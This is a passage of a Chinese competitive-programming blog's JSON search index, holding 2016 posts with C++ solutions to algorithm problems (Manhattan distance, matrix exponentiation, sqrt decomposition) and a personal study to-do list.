cout\u003c\u003cfixed\u003c\u003cs","date":"2016-02-24","externalUrl":null,"permalink":"/2016/02/poj2926/","section":"Posts","summary":"http://poj.org/problem?id=2926 题意：给出n(1E5)个五维空间内的坐标…问最远的两个点距离多少。 思路：拆点即可。去绝对值。可以由二维空间推广到k维空间。一个点可以拆成2^(k-1)个点。 具体见代码。","tags":["拆点","曼哈顿距离"],"title":"poj 2926 Requirements （五维曼哈顿距离变换【拆点】）","type":"post"},{"categories":["ACM"],"content":"http://acm.split.hdu.edu.cn/showproblem.php?pid=5626 题意：给出n（1E6）个点的二维坐标，问距离最远的两个点的距离是多少。 思路：对曼哈顿距离进行变换。 先看曼哈顿距离的定义 |x1−x2|+|y1−y2| 拆绝对值 x1−x2+y1−y2或x1−x2+y2−y1 x2−x1+y1−y2或x2−x1+y2−y1 即|x1+y1−(x2+y2)|或|x1−y1−(x2−y2)| 设x1+y1为x′，x1−y1为y′ 则|x1′−x2′|或|y1′−y2′| 所以原要求1转化为 max(|x1′−x2′|,|y1′−y2′|)\u003c=c 然后分别对x,y排序即可..最大的距离一定是y[n-1]-y[0]或者x[n-1]-x[0] 1/* *********************************************** 2Author :111qqz 3Created Time :2016年02月24日 星期三 23时42分15秒 4File Name :code/hdu/5626.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E6+7; 34LL seed; 35int n; 36int x[N],y[N]; 37 38inline LL rand(LL l,LL r) 39{ 40 static LL mo =1E9+7,g=78125; 41 return l+((seed*=g)%=mo)%(r-l+1); 42} 43int main() 44{ 45 #ifndef ONLINE_JUDGE 46 freopen(\"code/in.txt\",\"r\",stdin); 47 #endif 48 ios::sync_with_stdio(false); 49 int T; 50 cin\u003e\u003eT; 51 while (T--) 52 { 53 cin\u003e\u003en\u003e\u003eseed; 54 for ( int i = 0 ; i \u003c n ; i++) 55 { 56 int xx,yy; 57 xx = rand(-1000000000,1000000000); 58 yy = rand(-1000000000,1000000000); 59 x[i] = xx-yy; 60 y[i] = xx+yy; 61 } 62 sort(x,x+n); 63 sort(y,y+n); 64 int ans = -1; 65 ans = max(ans,y[n-1]-y[0]); 66 ans = max(ans,x[n-1]-x[0]); 67 cout\u003c\u003cans\u003c\u003cendl; 68 } 69 70 #ifndef ONLINE_JU","date":"2016-02-24","externalUrl":null,"permalink":"/2016/02/hdu5626/","section":"Posts","summary":"http://acm.split.hdu.edu.cn/showproblem.php?pid=5626 题意：给出n（1E6）个点的二维坐标，问距离最远的两个点的距离是多少。","tags":["拆点","曼哈顿距离"],"title":"hdu 5626 Clarke and points (曼哈顿距离变换，拆点)","type":"post"},{"categories":["随笔杂谈"],"content":"本打算和队友一起买一个。。。 # 结果站长看到id填的学校是华科的。。然后买一送一，感动到cry… 所以结果是400元我和队友一人一个权限号… # 正好到退役将近两年时间，加油。","date":"2016-02-24","externalUrl":null,"permalink":"/2016/02/finally-get-bzoj-vip/","section":"Posts","summary":"本打算和队友一起买一个。。。 # 结果站长看到id填的学校是华科的。。然后买一送一，感动到cry…","tags":["算法竞赛"],"title":"买了bzoj权限号","type":"post"},{"categories":["ACM"],"content":"http://www.lydsy.com/JudgeOnline/problem.php?id=1604 题意：了解奶牛们的人都知道，奶牛喜欢成群结队．观察约翰的N(1≤N≤100000)只奶牛，你会发现她们已经结成了几个“群”．每只奶牛在吃草的时候有一个独一无二的位置坐标Xi，Yi(l≤Xi，Yi≤[1．.10^9]；Xi，Yi∈整数．当满足下列两个条件之一，两只奶牛i和j是属于同一个群的： 1．两只奶牛的曼哈顿距离不超过C(1≤C≤10^9)，即lXi - xil+IYi - Yil≤C. 2．两只奶牛有共同的邻居．即，存在一只奶牛k，使i与k，j与k均同属一个群． 给出奶牛们的位置，请计算草原上有多少个牛群，以及最大的牛群里有多少奶牛 思路：一开始并没有什么思路…入手点是关于曼哈顿距离的转化。 # 先看曼哈顿距离的定义 |x1−x2|+|y1−y2| 拆绝对值 x1−x2+y1−y2或x1−x2+y2−y1 x2−x1+y1−y2或x2−x1+y2−y1 即|x1+y1−(x2+y2)|或|x1−y1−(x2−y2)| 设x1+y1为x′，x1−y1为y′ 则|x1′−x2′|或|y1′−y2′| 所以原要求1转化为 max(|x1′−x2′|,|y1′−y2′|)\u003c=c 引用自：http://blog.csdn.net/wzq_QwQ/article/details/47746091 这样就有思路了。如果两个点属于同一个群，那么必须这两个点的x的差在c范围内，并且两个点的y的差也在范围内。 我们可以先按照一个 坐标排序，不妨以x为关键字排序，然后维护一段点的序列，使得这段序列中的所有的点的横坐标（其实就是最大减去最小）的差都在c范围内。然后对于序列中的所有点，我们想要知道有没有群“接纳”最新加入的点，二分找到比当前新加入点的纵坐标大的最小值和比当前新加入点的纵坐标小的最大值（set的lower_bound 第一次用），判断是否满足纵坐标的差在c的范围内。如果是，则用并差集合合并一下。 用multiset的原因是经过变换后点的坐标可能重复，以及multiset删除元素的时候不能直接删，因为会把所有相同的值删掉。 重要的话再说一遍：这道题最关键也是最大的收货就是，关于曼哈顿距离的变换。 # 1/* *********************************************** 2Author :111qqz 3Created Time :2016年02月24日 星期三 13时36分09秒 4File Name :code/bzoj/1604.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const LL linf =1E17; 34const int N=1E5+7; 35in","date":"2016-02-24","externalUrl":null,"permalink":"/2016/02/bzoj1604/","section":"Posts","summary":"http://www.lydsy.com/JudgeOnline/problem.php?id=1604 题意：了解奶牛们的人都知道，奶牛喜欢成群结队．观察约翰的N(1≤N≤100000)只奶牛，你会发现她们已经结成了几个“群”．每只奶牛在吃草的时候有一个独一无二的位置坐标Xi，Yi(l≤Xi，Yi≤[1．.10^9]；Xi，Yi∈整数．当满足下列两个条件之一，两只奶牛i和j是属于同一个群的： 1．两只奶牛的曼哈顿距离不超过C(1≤C≤10^9)，即lXi - xil+IYi - Yil≤C. 2．两只奶牛有共同的邻居．即，存在一只奶牛k，使i与k，j与k均同属一个群． 给出奶牛们的位置，请计算草原上有多少个牛群，以及最大的牛群里有多少奶牛","tags":["map","set","并查集","拆点","曼哈顿距离"],"title":"bzoj 1604: [Usaco2008 Open]Cow Neighborhoods 奶牛的邻居 (曼哈顿距离的转化【拆点】+set+并查集)","type":"post"},{"categories":["ACM"],"content":"http://140.114.86.238/problem/10925/ Description 有兩個序列S1和S2，各有N個元素。當我們在S1,S2各取一個數字時，總共會有NN這麼多可能的”和”(sum)。請找出這NN這麼多和裡最小的N個值，並將它們加總後輸出。 Input 只有一筆測資。 測試資料第一行為一個正整數N。 第二行有N個數字，以空白隔開，代表序列S1。 第二行有N個數字，以空白隔開，代表序列S2。 數字範圍： 0 \u003c N \u003c 10000 Output 輸出一行，N個最小的可能的和的加總。 Sample Input 5 1 3 5 7 9 2 4 6 8 10 EOF Sample Output 27 EOF 思路：贪心。先分别升序排列，枚举第一个数组，当枚举到第i个的时候，第二个数组的int(n*1.0/i+0.5)显然都没用。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年02月22日 星期一 16时26分18秒 4File Name :yzy.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E4+7; 34int n; 35int a[N]; 36int b[N]; 37int ans[N]; 38multiset\u003cint\u003ese; 39multiset\u003cint\u003e::iterator it; 40int main() 41{// #ifndef ONLINE_JUDGE 42// freopen(\"code/in.txt\",\"r\",stdin); 43// #endif 44 45 scanf(\"%d\",\u0026n); 46 for ( int i = 1 ; i \u003c= n ; i++) 47 { 48 scanf(\"%d\",\u0026a[i]); 49 } 50 for ( int i = 1 ; i \u003c= n ; i++) 51 { 52 scanf(\"%d\",\u0026b[i]); 53 } 54 sort(a+1,a+n+1); 55 sort(b+1,b+n+1); 56 57// for ( int i = 1 ; i \u003c= n ; i++) cout\u003c\u003ca[i]\u003c\u003c\" \"\u003c\u003cb[i]\u003c\u003cendl; 58 59 for ( int i = 1 ; i \u003c= n ; i++) 60 { 61 for ( int j = 1 ; j \u003c= ceil(n*1.0/i) ; j++) 62 se.insert(a[i]+b[j]); 63 } 64 65 LL sum = 0 ; 66 int cnt = 0 ; 67 for ( it = s","date":"2016-02-22","externalUrl":null,"permalink":"/2016/02/nthu-10925-advanced-heap-sort/","section":"Posts","summary":"http://140.114.86.238/problem/10925/ Description 有兩個序列S1和S2，各有N個元素。當我們在S1,S2各取一個數字時，總共會有NN這麼多可能的”和”(sum)。請找出這NN這麼多和裡最小的N個值，並將它們加總後輸出。","tags":["greedy"],"title":"nthu 10925 - Advanced Heap Sort","type":"post"},{"categories":["ACM"],"content":"http://acm.hdu.edu.cn/showproblem.php?pid=1575 题意：A为一方阵，求(A^k)73得到的矩阵的主对角线的和。 思路：矩阵快速幂。模板题。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年02月21日 星期日 10时28分33秒 4File Name :code/hdu/1575.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=12; 34const int MOD = 9973; 35struct Mat 36{ 37 int mat[N][N]; 38 void clear() 39 { 40 ms(mat,0); 41 } 42}A; 43int n,k; 44 45Mat operator * (Mat a,Mat b) 46{ 47 Mat c; 48 c.clear(); 49 for ( int i = 0 ; i \u003c n ; i++) 50 for ( int j = 0 ; j \u003c n ; j++) 51 for (int k = 0 ; k \u003c n ; k++) 52 c.mat[i][j] =(c.mat[i][j]+a.mat[i][k]*b.mat[k][j])%MOD; 53 54 return c; 55 56} 57Mat operator ^ (Mat a,int b) 58{ 59 Mat c; 60 for ( int i = 0 ; i \u003c n ; i++) 61 for ( int j = 0 ; j \u003c n ; j++ ) 62 c.mat[i][j]=(i==j); 63 while (b) 64 { 65 if (b\u00261) c = c * a; 66 b = b\u003e\u003e1; 67 a = a * a; 68 } 69 return c; 70} 71int main() 72{ 73 #ifndef ONLINE_JUDGE 74 freopen(\"code/in.txt\",\"r\",stdin); 75 #endif 76 77 int T; 78 scanf(\"%d\",\u0026T); 79 while (T--) 80 { 81 scanf(\"%d %d\",\u0026n,\u0026k); 82 A.clear(); 83 for ( int i = 0 ; i \u003c n ; i++) 84 for ( int j = 0 ; j \u003c n; j ++) 85 scanf(\"%d\",\u0026A.mat[i][j]); 86 87 Mat res; 88 res.clear(); 89 res =","date":"2016-02-21","externalUrl":null,"permalink":"/2016/02/hdu1575/","section":"Posts","summary":"http://acm.hdu.edu.cn/showproblem.php?pid=1575 题意：A为一方阵，求(A^k)73得到的矩阵的主对角线的和。","tags":["快速幂","矩阵"],"title":"hdu 1575 Tr A （矩阵快速幂模板题）","type":"post"},{"categories":["随笔杂谈"],"content":"* 《程序员的自我修养—链接、装载与库》 * 了解多线程编程的通用做法，包括如何结束一个while(true)的循环等（tbb.abort()或者发送一个特殊值等） * Kafka分布式消息队列 # * 调研分布式存储系统，以及levelDB * \u003cdel\u003e学习gRPC\u003c/del\u003e * \u003cdel\u003elevelDB笔记，以及protobuff笔记\u003c/del\u003e * cuda编程相关 * 阅读facebook开源库**faiss 源码(github)** * \u003cdel\u003etensorRT\u003c/del\u003e * 补工程知识 * **阅读caffe代码（重要）** * 补C++(cpp11)知识 * \u003cdel\u003e了解tf record 的机制...\u003c/del\u003e * 突然MPI.... * \u003cdel\u003e在inception-v3上加fine-tune\u003c/del\u003e * [cs 231n 2017 sp\u003cdel\u003ering课程\u003c/del\u003e](https://www.youtube.com/watch?v=OoUX-nOEjG0\u0026index=2\u0026list=PL3FW7Lu3i5JvHM8ljYj-zLfQRF3EO8sYv) * \u003cdel\u003e搞清楚tensorflow checkpoint的四个文件都是什么\u003c/del\u003e * \u003cdel\u003e补完tensorflow variable 的笔记\u003c/del\u003e * tensorflow异步训练 * \u003cdel\u003e光流法是什么。。\u003c/del\u003e * LSTM-\u003eRNN-\u003eCNN+RNN处理视频 * \u003cdel\u003eTF-slim\u003c/del\u003e * \u003cdel\u003ecs231n，先把slide啃完(15%)\u003c/del\u003e * \u003cdel\u003ecoursera ML (3/11)\u003c/del\u003e * \u003cdel\u003eleetcode 102/200\u003c/del\u003e * 树上莫队。。。 * \u003cdel\u003e分块题目遇到不少lazy标记-\u003e线段树\u003c/del\u003e * \u003cdel\u003e普通型母函数\u003c/del\u003e * \u003cdel\u003e最大曼哈顿距离\u003c/del\u003e（拆点法） * 最小曼哈顿距离 * \u003cdel\u003e指数型母函数（基本的做了一点...还需要一些题目训练...然而智商欠费了，回来再看）\u003c/del\u003e * \u003cdel\u003e数位dp(20160602，基础以及中等题目a得差不多了）\u003c/del\u003e * \u003cdel\u003e容斥原理（才做了个位数的题目。。还需要训练。。。）\u003c/del\u003e * \u003cdel\u003e图的连通性问题.. (并查集。。？ 二分+bfs验证？)\u003c/del\u003e * \u003cdel\u003espfa-\u003eBZOJ 1614 BZOJ 1631\u003c/del\u003e * \u003cdel\u003eBZOJ 1628 poj 2796 -\u003e单调栈\u003c/del\u003e * \u003cdel\u003ebzoj 1636 -\u003ermq（顺便学了rmq+dfs求LCA)\u003c/del\u003e * \u003cdel\u003ebzoj 1638-\u003e图的存储方式...(链式前向星大法好）\u003c/del\u003e * bzoj 1654 -\u003etarjan求强联通分量 * \u003cdel\u003ebzoj 1656 -\u003e奇怪姿势的bfs,求绕过某一封闭图形的最短路径，射线法。\u003c/del\u003e * cf 449B -\u003e 带点dp思想（类似于之前做过的bfs记录最短路径的条数的题目）的不会做的spfa的题 * \u003cdel\u003e匈牙利\u003c/del\u003e * \u003cdel\u003ekm算法\u003c/del\u003e * \u003cdel\u003e校赛被虐-\u003e树形dp,\u003c/del\u003e * \u003cdel\u003e模拟退火\u003c/del\u003e * poj2584-\u003e二分图多重最大匹配 * \u003cdel\u003e知乎OI爷开专栏讲算法。。？-\u003e后缀数组。\u003c/del\u003e * \u003cdel\u003e后缀数组-\u003ecf 123D...不会啊orz\u003c/del\u003e * \u003cdel\u003e树的直径，次小生成树（）\u003c/del\u003e * \u003cdel\u003e最小生成树（拒绝划水，推一波难题）\u003c/del\u003e * \u003cdel\u003e单调栈？单调栈？单调栈单调栈！ （一堆题卡在这里了。。。）\u003c/del\u003e 单调队列也来一发 kmp?kmp? kmp!kmp! 扩展kmp trie-\u003eac自动机 线段树线段树？ 线段树线段树！ mutli 2016 %5 1006 -\u003e 回文树 字符串的最小表示法。。。是啥。。。同构什么的orz 复习数论同余-\u003e高斯消元 bitset？！ hdu 5313 -\u003e二分图的黑白染色？ 交叉染色法判断二分图？ -\u003ehttp:","date":"2016-02-20","externalUrl":null,"permalink":"/2016/02/to-do-list/","section":"Posts","summary":"* 《程序员的自我修养—链接、装载与库》 * 了解多线程编程的通用做法，包括如何结束一个while(true)的循环等（tbb.abort()或者发送一个特殊值等） * Kafka分布式消息队列 # * 调研分布式存储系统，以及levelDB * \u003cdel\u003e学习gRPC\u003c/del\u003e * \u003cdel\u003elevelDB笔记，以及protobuff笔记\u003c/del\u003e * cuda编程相关 * 阅读facebook开源库**faiss 源码(github)** * \u003cdel\u003etensorRT\u003c/del\u003e * 补工程知识 * **阅读caffe代码（重要）** * 补C++(cpp11)知识 * \u003cdel\u003e了解tf record 的机制...\u003c/del\u003e * 突然MPI.... * \u003cdel\u003e在inception-v3上加fine-tune\u003c/del\u003e * [cs 231n 2017 sp\u003cdel\u003ering课程\u003c/del\u003e](https://www.youtube.com/watch?v=OoUX-nOEjG0\u0026index=2\u0026list=PL3FW7Lu3i5JvHM8ljYj-zLfQRF3EO8sYv) * \u003cdel\u003e搞清楚tensorflow checkpoint的四个文件都是什么\u003c/del\u003e * \u003cdel\u003e补完tensorflow variable 的笔记\u003c/del\u003e * tensorflow异步训练 * \u003cdel\u003e光流法是什么。。\u003c/del\u003e * LSTM-\u003eRNN-\u003eCNN+RNN处理视频 * \u003cdel\u003eTF-slim\u003c/del\u003e * \u003cdel\u003ecs231n，先把slide啃完(15%)\u003c/del\u003e * \u003cdel\u003ecoursera ML (3/11)\u003c/del\u003e * \u003cdel\u003eleetcode 102/200\u003c/del\u003e * 树上莫队。。。 * \u003cdel\u003e分块题目遇到不少lazy标记-\u003e线段树\u003c/del\u003e * \u003cdel\u003e普通型母函数\u003c/del\u003e * \u003cdel\u003e最大曼哈顿距离\u003c/del\u003e（拆点法） * 最小曼哈顿距离 * \u003cdel\u003e指数型母函数（基本的做了一点...还需要一些题目训练...然而智商欠费了，回来再看）\u003c/del\u003e * \u003cdel\u003e数位dp(20160602，基础以及中等题目a得差不多了）\u003c/del\u003e * \u003cdel\u003e容斥原理（才做了个位数的题目。。还需要训练。。。）\u003c/del\u003e * \u003cdel\u003e图的连通性问题.. (并查集。。？ 二分+bfs验证？)\u003c/del\u003e * \u003cdel\u003espfa-\u003eBZOJ 1614 BZOJ 1631\u003c/del\u003e * \u003cdel\u003eBZOJ 1628 poj 2796 -\u003e单调栈\u003c/del\u003e * \u003cdel\u003ebzoj 1636 -\u003ermq（顺便学了rmq+dfs求LCA)\u003c/del\u003e * \u003cdel\u003ebzoj 1638-\u003e图的存储方式...(链式前向星大法好）\u003c/del\u003e * bzoj 1654 -\u003etarjan求强联通分量 * \u003cdel\u003ebzoj 1656 -\u003e奇怪姿势的bfs,求绕过某一封闭图形的最短路径，射线法。\u003c/del\u003e * cf 449B -\u003e 带点dp思想（类似于之前做过的bfs记录最短路径的条数的题目）的不会做的spfa的题 * \u003cdel\u003e匈牙利\u003c/del\u003e * \u003cdel\u003ekm算法\u003c/del\u003e * \u003cdel\u003e校赛被虐-\u003e树形dp,\u003c/del\u003e * \u003cdel\u003e模拟退火\u003c/del\u003e * poj2584-\u003e二分图多重最大匹配 * \u003cdel\u003e知乎OI爷开专栏讲算法。。？-\u003e后缀数组。\u003c/del\u003e * \u003cdel\u003e后缀数组-\u003ecf 123D...不会啊orz\u003c/del\u003e * \u003cdel\u003e树的直径，次小生成树（）\u003c/del\u003e * \u003cdel\u003e最小生成树（拒绝划水，推一波难题）\u003c/del\u003e * \u003cdel\u003e单调栈？单调栈？单调栈单调栈！ （一堆题卡在这里了。。。）\u003c/del\u003e 单调队列也来一发 kmp?kmp? kmp!kmp! 扩展kmp trie-\u003eac自动机 线段树线段树？ 线段树线段树！ mutli 2016 %5 1006 -\u003e 回文树 字符串的最小表示法。。。是啥。。。同构什么的orz 复习数论同余-\u003e高斯消元 bitset？！ hdu 5313 -\u003e二分图的黑白染色？ 交叉染色法判断二分图？ -\u003ehttp://blog.csdn.net/yujuan_mao/article/details/8221091 * poj3422-\u003e 三分 * 扫描线（2015暑假：zk：这道题的正解是扫描线blablabla…众：扫描线是啥？23333） * bzoj 2428,cf beta round 2 C -\u003e模拟退火进阶 * hdu 5313 ,poj 1112 -\u003e二分图+dp… * hdu 5222-\u003e判断混合图的环 * codeforces 19 D-\u003e线段树，不会。 * 快速沃尔什变换(fwt),快速傅里叶变换（fft) (还有fft的数论版本ntt) * 线段树与染色问题http://acm.hust.edu.cn/vjudge/contest/45620#overview * hong kong 网络赛1001 A+b-\u003efft? * 青岛网络赛 1011 -\u003e网络流。。。？？？？？一脸蒙蔽。。。。 * spoj DQUERY -\u003e主席树 * cf 455 E -\u003edp的单调性优化。。。（学会dp再来看吧orz * 二次剩余 * 离散对数（bsgs算法） * exgcd的三个作用你可晓得？ * crtcrt?crtcrt! * 广义斐波那契循环节 * 指数循环节 * 矩阵都能做什么… * 树上差分。。。？？？ * codeforces 735 E -\u003e树形dp * top k的一堆问题。。。经常被考啊。。。 * 大数据算法。。。（从蓄水池抽样开始。。。） * 理论角度复习hash…以及一些经典算法。。。。 * simhash。。以及推广到其他局部敏感hash算法。。。 * 文本处理工具-\u003e awk awk_维基百科 * levelDB源码… * openssl ，带gui的des,,c/cpp,qt * 浮点数离散化 * 矩形面积并，面积交，周长并 * trie上SA,15年多校，金牌爷含泪推荐 * 二维线段树（四叉树|树套树) * 线段树标记永久化。。是啥 。。李超线段树。。。又是啥 * 扫描线扫描线？扫描线扫描线！ * hdu 3255 体积并 * hdu 5986 * kd tree? kd tree! （静态，动态） * 多个圆并，交 * 主席树？主席树！ * 置换群，循环节 * hdu 5558 | 2015 ICPC HeFei onsite G -\u003e SA?SAM! * 拓扑+dp","tags":["算法竞赛"],"title":"To do list","type":"post"},{"categories":["ACM"],"content":"http://www.lydsy.com/JudgeOnline/problem.php?id=2002 题意+思路： 同codeforces 13 E holes. 1/* *********************************************** 2Author :111qqz 3Created Time :2016年02月21日 星期日 02时29分39秒 4File Name :code/bzoj/2002.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=2E5+7; 34int n,m; 35int siz = 450; //sqrt(2E5) 36int a[N]; 37int pos[N]; 38int cnt[N]; 39int nxt[N]; 40int end[N]; 41 42 43void go( int x) 44{ 45 int ans = 0 ; 46 while (1) 47 { 48 if (x\u003e=n) 49 { 50 printf(\"%d\\n\",ans); 51 break; 52 } 53 ans +=cnt[x]; 54 x = nxt[x]; 55// cout\u003c\u003c\"nxt[x]:\"\u003c\u003cnxt[x]\u003c\u003cendl; 56 } 57} 58void update ( int i,int j) 59{ 60 if (j\u003e=n) 61 { 62 cnt[i]=1; 63 nxt[i]=n; 64 end[i]=i; 65 } 66 else 67 { 68 if (pos[i]==pos[j]) 69 { 70 cnt[i] = cnt[j] + 1; 71 nxt[i] = nxt[j]; 72 end[i]=end[j]; 73 } 74 else 75 { 76 cnt[i] = 1; 77 nxt[i] = j; 78 end[i] = end[j]; 79 } 80 } 81} 82int main() 83{ 84 #ifndef ONLINE_JUDGE 85 freopen(\"code/in.txt\",\"r\",stdin); 86 #endif 87 88 scanf(\"%d\",\u0026n); 89 for ( int i = 0 ; i \u003c n ;i++) 90 { 91 scanf(\"%d\",\u0026a[i]); 92 pos[i] = i/siz; 93 } 94 95 for ( int i = n - 1 ; i \u003e= 0 ; i--) update(i,i+a[i]); 96 97 scanf(\"%d\",\u0026m); 98 while (m--) 99 { 100 int opt; 101 scanf(\"%d\"","date":"2016-02-20","externalUrl":null,"permalink":"/2016/02/bzoj2002/","section":"Posts","summary":"http://www.lydsy.com/JudgeOnline/problem.php?id=2002 题意+思路： 同codeforces 13 E holes. 1/* *********************************************** 2Author :111qqz 3Created Time :2016年02月21日 星期日 02时29分39秒 4File Name :code/bzoj/2002.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=2E5+7; 34int n,m; 35int siz = 450; //sqrt(2E5) 36int a[N]; 37int pos[N]; 38int cnt[N]; 39int nxt[N]; 40int end[N]; 41 42 43void go( int x) 44{ 45 int ans = 0 ; 46 while (1) 47 { 48 if (x\u003e=n) 49 { 50 printf(\"%d\\n\",ans); 51 break; 52 } 53 ans +=cnt[x]; 54 x = nxt[x]; 55// cout\u003c\u003c\"nxt[x]:\"\u003c\u003cnxt[x]\u003c\u003cendl; 56 } 57} 58void update ( int i,int j) 59{ 60 if (j\u003e=n) 61 { 62 cnt[i]=1; 63 nxt[i]=n; 64 end[i]=i; 65 } 66 else 67 { 68 if (pos[i]==pos[j]) 69 { 70 cnt[i] = cnt[j] + 1; 71 nxt[i] = nxt[j]; 72 end[i]=end[j]; 73 } 74 else 75 { 76 cnt[i] = 1; 77 nxt[i] = j; 78 end[i] = end[j]; 79 } 80 } 81} 82int main() 83{ 84 #ifndef ONLINE_JUDGE 85 freopen(\"code/in.txt\",\"r\",stdin); 86 #endif 87 88 scanf(\"%d\",\u0026n); 89 for ( int i = 0 ; i \u003c n ;i++) 90 { 91 scanf(\"%d\",\u0026a[i]); 92 pos[i] = i/siz; 93 } 94 95 for ( int i = n - 1 ; i \u003e= 0 ; i--) update(i,i+a[i]); 96 97 scanf(\"%d\",\u0026m); 98 while (m--) 99 { 100 int opt; 101 scanf(\"%d\",\u0026opt); 102 if (opt==1) 103 { 104 int x; 105 scanf(\"%d\",\u0026x); 106 go(x); 107 } 108 else 109 { 110 int x,y; 111 scanf(\"%d %d\",\u0026x,\u0026y); 112 a[x]=y; 113 update(x,x+a[x]); 114 int p = pos[x]*siz; 115 for ( int i = x-1 ; i \u003e= p ; i--) update(i,i+a[i]); 116 } 117 } 118 119 #ifndef ONLINE_JUDGE 120 fclose(stdin); 121 #endif 122 return 0; 123}","tags":["分块"],"title":"bzoj2002: [Hnoi2010]Bounce 弹飞绵羊 (分块)","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/problemset/problem/13/E 题意：给你n个洞，进入某个洞后会跑到另一个洞，到了另一个洞之后又可能会继续到下一个洞，问你从一个洞进去，钻了几个洞才会出来，在哪个洞出来 n 个整数a[i] 表示进入i这个洞之后会跑到 i+a[i]…. 思路：分块大法好。具体见代码注释。以及。。。cin加速之后还是很慢。。。能不用就不用吧。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年02月20日 星期六 23时48分28秒 4File Name :code/cf/problem/13E.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int 